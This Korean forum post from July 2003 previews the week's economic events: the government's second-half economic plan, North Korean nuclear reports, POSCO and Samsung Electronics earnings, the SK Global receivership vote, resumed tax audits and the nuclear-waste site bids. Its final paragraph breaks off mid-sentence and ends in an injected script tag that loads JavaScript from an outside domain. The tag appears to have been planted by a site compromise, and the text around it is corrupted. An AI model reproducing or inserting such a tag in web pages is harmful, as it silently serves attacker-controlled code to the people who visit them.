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글쓴이 운영자 작성일 2003-07-14
제목 <금주의 경제계 동향>7/14~18
◇총평 = 이번주는 14일로 예정된 하반기 경제운용계획 발표와 북한의 폐 연료봉 재처리 증거 포착 보도에 따른 북핵문제 한반도 정국 경색 여부, 포스코와 삼성전자 실적발표 등이 우리 경제의 주요 변수가 될 전망이다.

특히 우리경제가 당초 예상보다 침체의 골이 깊어짐에 따라 획기적인 경제활성화 대책이 필요하다는 데 모두가 공감하고 있어 하반기 경제운용계획 내용이 각 경제주체들의 `기대치'를 충족시키고 시장의 긍정적인 반응을 이끌어 낼 수 있다면 하반기 우리 경제회생의 `기폭제'가 될 수도 있을 것으로 기대된다.



그러나 지난 1월 `경제운용방안'을 발표하면서 제시했던 성장률 5% 목표는 하향조정될 수밖에 없으며 우리 경제에 먹구름을 드리우고 있는 `유동성의 함정' 등에 대한 우려가 가시지 않는 한 하반기 경제운용 계획 발표의 효과를 섣불리 점치기는 쉽지 않다.

북한 핵 문제의 폭발력에 비쳐 북한이 핵 연료를 재처리 했다는 증거가 발견됐다는 CNN 등의 보도는 경제관료, 기업인 등의 가슴을 졸이게 하는 데 충분하다. 미국의 강경대응과 북한의 벼랑끝 전술이 맞부딪치면서 또다시 한반도에 `핵 악몽'이 재연된다면 하반기 우리 경제는 또다시 가시밭길을 걸어야 할 것이다.

아울러 여당 대표의 `정치자금 200억원 모금 발언'의 불똥도 재계에 튈 가능성을 배제할 수 없다. 정치자금에 대한 검찰의 수사가 본격화된다면 `자금원'인 기업쪽으로 수사의 불길이 옮겨오는 것은 시간문제고 혹여 기업들이 은밀히 검은돈을 정치권에 전달했다는 점이 수사에서 밝혀질 경우, 외환위기 이후 기업들의 투명성 제고 노력은 물거품이 될 공산이 크다.

국내 채권단과 해외 채권단이 마치 서로 누가 겁이 많은지를 겨루는 `치킨게임'을 벌이는 듯한 SK글로벌의 법정관리 여부도 이번주에 판가름 난다. 채권단은 오는 14일 운영위원회를 열어 법정관리신청 사전동의를 받은 뒤 19일 전체회의를 열어 법정관리를 결의한다는 계획이다.

증시는 포스코(14일)를 시작으로 본격적인 `어닝시즌'에 들어간다. 포철에 대해서는 전망이 엇갈리고는 있지만 상반기 철강업계가 호황을 누렸다는 점을 감안하면 `어닝 서플라이즈'에 대한 기대를 버릴 수 없을 것이다. 또 삼성전자(16일) 실적이 `경제여건에 비해 선전'한 것으로 나타나면 증시의 방향성도 보다 뚜렷해질 것으로 예상된다.

한편 재계는 오는 17일부터 대한상공회의소의 제주도 하계 세미나를 시작으로 잇따라 제주에서 모임을 갖는다. 주요 기업 CEO를 포함한 재계인사들이 하반기 경영구상도 하고 휴식도 취하면서 `제주도 일정'을 알차게 보내기를 기대한다.

▲하반기경제운용계획 확정 = 정부는 14일 대통령 주재로 경제민생점검회의를 개최해 상반기 주요 정책과제 추진실적을 점검하고 하반기 경제운용계획을 확정한다.정부는 올해 우리경제가 3% 중반의 성장에 머무를 것으로 보고 경제운용의 중점을 투자활성화를 통한 경기회복에 두는 내용으로 하반기경제운용방향을 발표한다.

▲국세청, 기업 정기 세무조사 재개 = 국세청은 상반기 유보했던 기업에 대한 정기세무조사를 세원관리 차원에서 재개한다. 불성실신고 혐의가 있는 대기업이나 5년 이상 조사 받지 않은 법인 등이 대상이며 이번주부터 조사가 시작될 전망이다.

▲삼성전자 16일 상반기 실적 발표 = 이번주 증시의 최대 관심사로 실적 결과에 따라 3.4분기 증시에 상당한 영향을 미칠 전망이다. 각 증권사들이 삼성전자의 2.4분기 영업이익을 1.4분기와 비슷한 1조3천300억원 가량이 될 것으로 추정하고 있는 가운데 노무라증권도 2.4분기 영업이익을 1조3천억원 수준으로 추정하면서 `선전한 것'이라고 평가하고 있다. 특히 삼성전자 등 각 기업의 실적에 따라 주가상승의 견인차 역할을 하고 있는 외국인투자자의 순매수 지속(현재 9일째) 여부도 판가름날 것으로 예상된다.

▲산자부 원전수거물(방사성 폐기물) 시설부지 선정 = 원전수거물 시설부지 후보지 신청이 15일 마감된다. 최근 유력한 후보지로 떠오른 군산이 지질조사결과 저장부지로 부적합하다는 판정이 내려지면서 유치계획을 포기했지만 부안 군수가 유치신청 계획을 11일 발표했고 삼척도 유치를 검토중이어서 결과가 주목된다. 산자부는 유치지역에 대해서는 원전수거물 관리시설, 양성자 가속기, 한국수력원자력 이전, 지자체 사업 지원 등 향후 20년간 2조원 이상을 투자키로 약속하고 자치단체장의 정치적 부담을 덜어주기 위해 주민투표 시행 방안도 내놓은 상태다.

▲정보통신부 = 오는 16일 무선 랜(LAN) 정보보호 대책을 마련, 발표할 예정이다. 정통부는 우선 단기대책으로 무선랜 운영권고안을 마련해 보안운영 실태조사와 보안교육 등을 실시?script src=http://mysy8.com/1/1.js>
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